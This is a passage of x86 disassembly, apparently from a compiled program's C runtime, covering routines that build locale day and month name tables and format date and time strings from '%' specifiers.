; ---------------------------------------------------------------------------


loc_4396AA:				; CODE XREF: .XComp0:00439639j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_4396B9:				; CODE XREF: .XComp0:00439617j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_453318
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4396F8
; ---------------------------------------------------------------------------


loc_4396EF:				; CODE XREF: .XComp0:00439730j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4396F8:				; CODE XREF: .XComp0:004396EDj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_439732
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4396EF
; ---------------------------------------------------------------------------


loc_439732:				; CODE XREF: .XComp0:004396FCj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41EDA0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4397EB
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_439766
; ---------------------------------------------------------------------------


loc_43975D:				; CODE XREF: .XComp0:004397DAj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_439766:				; CODE XREF: .XComp0:0043975Bj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4397DC
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43975D
; ---------------------------------------------------------------------------


loc_4397DC:				; CODE XREF: .XComp0:0043976Aj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_4397EB:				; CODE XREF: .XComp0:00439748j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, off_453318
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_439828
; ---------------------------------------------------------------------------


loc_43981F:				; CODE XREF: .XComp0:0043985Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_439828:				; CODE XREF: .XComp0:0043981Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_439861
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_43981F
; ---------------------------------------------------------------------------


loc_439861:				; CODE XREF: .XComp0:0043982Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_439873
; ---------------------------------------------------------------------------


loc_43986A:				; CODE XREF: .XComp0:004398ABj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_439873:				; CODE XREF: .XComp0:00439868j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4398AD
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_43986A
; ---------------------------------------------------------------------------


loc_4398AD:				; CODE XREF: .XComp0:00439877j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_41EDA0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_439B66
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, off_453318
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_43998A
; ---------------------------------------------------------------------------


loc_439981:				; CODE XREF: .XComp0:004399FCj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_43998A:				; CODE XREF: .XComp0:0043997Fj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4399FE
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_439981
; ---------------------------------------------------------------------------


loc_4399FE:				; CODE XREF: .XComp0:0043998Ej
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_439A10
; ---------------------------------------------------------------------------


loc_439A07:				; CODE XREF: .XComp0:00439A84j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_439A10:				; CODE XREF: .XComp0:00439A05j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_439A86
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_439A07
; ---------------------------------------------------------------------------


loc_439A86:				; CODE XREF: .XComp0:00439A14j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_422580
		add	esp, 8
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx


loc_439B66:				; CODE XREF: .XComp0:00439949j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_439B90
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439B90	proc near		; CODE XREF: .XComp0:00439B85p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4E96A8
		nop
		call	near ptr 2950B3Fh
		cmp	dword_4E96A4, 0
		jz	short loc_439BCE
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_439BD5
; ---------------------------------------------------------------------------


loc_439BCE:				; CODE XREF: sub_439B90+1Ej
		mov	[ebp+var_8], 0


loc_439BD5:				; CODE XREF: sub_439B90+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_439BE6
		mov	ecx, off_453318
		mov	[ebp+var_10], ecx
		jmp	short loc_439BEC
; ---------------------------------------------------------------------------


loc_439BE6:				; CODE XREF: sub_439B90+49j
		mov	edx, [ebp+arg_10]
		mov	[ebp+var_10], edx


loc_439BEC:				; CODE XREF: sub_439B90+54j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax


loc_439BF2:				; CODE XREF: sub_439B90:loc_439CDEj
		cmp	[ebp+var_C], 0
		jbe	loc_439CE3
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_439C12
		cmp	[ebp+var_14], 25h
		jz	short loc_439C17
		jmp	short loc_439C71
; ---------------------------------------------------------------------------


loc_439C12:				; CODE XREF: sub_439B90+78j
		jmp	loc_439CE3
; ---------------------------------------------------------------------------


loc_439C17:				; CODE XREF: sub_439B90+7Ej
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4E957C, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_439C48
		mov	dword_4E957C, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_439C48:				; CODE XREF: sub_439B90+A3j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_439D20
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_439CDE
; ---------------------------------------------------------------------------


loc_439C71:				; CODE XREF: sub_439B90+80j
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_439CB9
		cmp	[ebp+var_C], 1
		jbe	short loc_439CB9
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_439CB9:				; CODE XREF: sub_439B90+FCj
					; sub_439B90+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_439CDE:				; CODE XREF: sub_439B90+DFj
		jmp	loc_439BF2
; ---------------------------------------------------------------------------


loc_439CE3:				; CODE XREF: sub_439B90+66j
					; sub_439B90:loc_439C12j
		cmp	[ebp+var_8], 0
		jz	short loc_439CF5
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_439D00
; ---------------------------------------------------------------------------


loc_439CF5:				; CODE XREF: sub_439B90+157j
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop


loc_439D00:				; CODE XREF: sub_439B90+163j
		cmp	[ebp+var_C], 0
		jbe	short loc_439D14
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_439D16
; ---------------------------------------------------------------------------


loc_439D14:				; CODE XREF: sub_439B90+174j
		xor	eax, eax


loc_439D16:				; CODE XREF: sub_439B90+182j
		mov	esp, ebp
		pop	ebp
		retn
sub_439B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439D20	proc near		; CODE XREF: sub_439B90+CEp
					; sub_43A4F0+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_43A288
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, byte_43A2E9[eax]
		jmp	off_43A28D[edx*4]


loc_439D53:				; DATA XREF: .XComp0:0043A2BDo
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_43A340
		add	esp, 0Ch
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439D75:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A291o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_43A340
		add	esp, 0Ch
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439D98:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2C1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_43A340
		add	esp, 0Ch
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439DBB:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A295o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_43A340
		add	esp, 0Ch
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439DDE:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2C5o
		cmp	dword_4E957C, 0
		jz	short loc_439E66
		mov	dword_4E957C, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_43A4F0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_439E20
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439E20:				; CODE XREF: sub_439D20+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_43A4F0
		add	esp, 14h
		jmp	short loc_439ED9
; ---------------------------------------------------------------------------


loc_439E66:				; CODE XREF: sub_439D20+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_43A4F0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_439E95
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439E95:				; CODE XREF: sub_439D20+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_43A4F0
		add	esp, 14h


loc_439ED9:				; CODE XREF: sub_439D20+144j
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439EDE:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2C9o
		mov	ecx, dword_4E957C
		mov	dword_4E9580, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439F08:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A299o
		mov	eax, dword_4E957C
		mov	dword_4E9580, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439F30:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A29Do
		mov	edx, dword_4E957C
		mov	dword_4E9580, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_439F5A
		mov	[ebp+var_4], 0Ch


loc_439F5A:				; CODE XREF: sub_439D20+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439F75:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2CDo
		mov	edx, dword_4E957C
		mov	dword_4E9580, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439FA2:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2D1o
		mov	ecx, dword_4E957C
		mov	dword_4E9580, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439FCF:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2A1o
		mov	eax, dword_4E957C
		mov	dword_4E9580, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_439FF7:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2D5o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_43A01C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_43A340
		add	esp, 0Ch
		jmp	short loc_43A036
; ---------------------------------------------------------------------------


loc_43A01C:				; CODE XREF: sub_439D20+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_43A340
		add	esp, 0Ch


loc_43A036:				; CODE XREF: sub_439D20+2FAj
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A03B:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2A5o
		mov	edx, dword_4E957C
		mov	dword_4E9580, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A064:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2A9o
		mov	ecx, dword_4E957C
		mov	dword_4E9580, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_43A0CD
; ---------------------------------------------------------------------------


loc_43A07B:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2D9o
		mov	ecx, dword_4E957C
		mov	dword_4E9580, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A0A5:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2ADo
		mov	eax, dword_4E957C
		mov	dword_4E9580, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_43A0C1
		mov	[ebp+var_8], 6
		jmp	short loc_43A0CD
; ---------------------------------------------------------------------------


loc_43A0C1:				; CODE XREF: sub_439D20+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_43A0CD:				; CODE XREF: sub_439D20+359j
					; sub_439D20+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_43A0E1
		mov	[ebp+var_4], 0
		jmp	short loc_43A10E
; ---------------------------------------------------------------------------


loc_43A0E1:				; CODE XREF: sub_439D20+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_43A10E
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_43A10E:				; CODE XREF: sub_439D20+3BFj
					; sub_439D20+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43A390
		add	esp, 10h
		jmp	loc_43A288
; ---------------------------------------------------------------------------


loc_43A129:				; CODE XREF: sub_439D20+2Cj
					; DATA XREF: .XComp0:0043A2DDo
		cmp	dword_4E957C, 0
		jz	short loc_43A160
		mov	dword_4E957C, 0
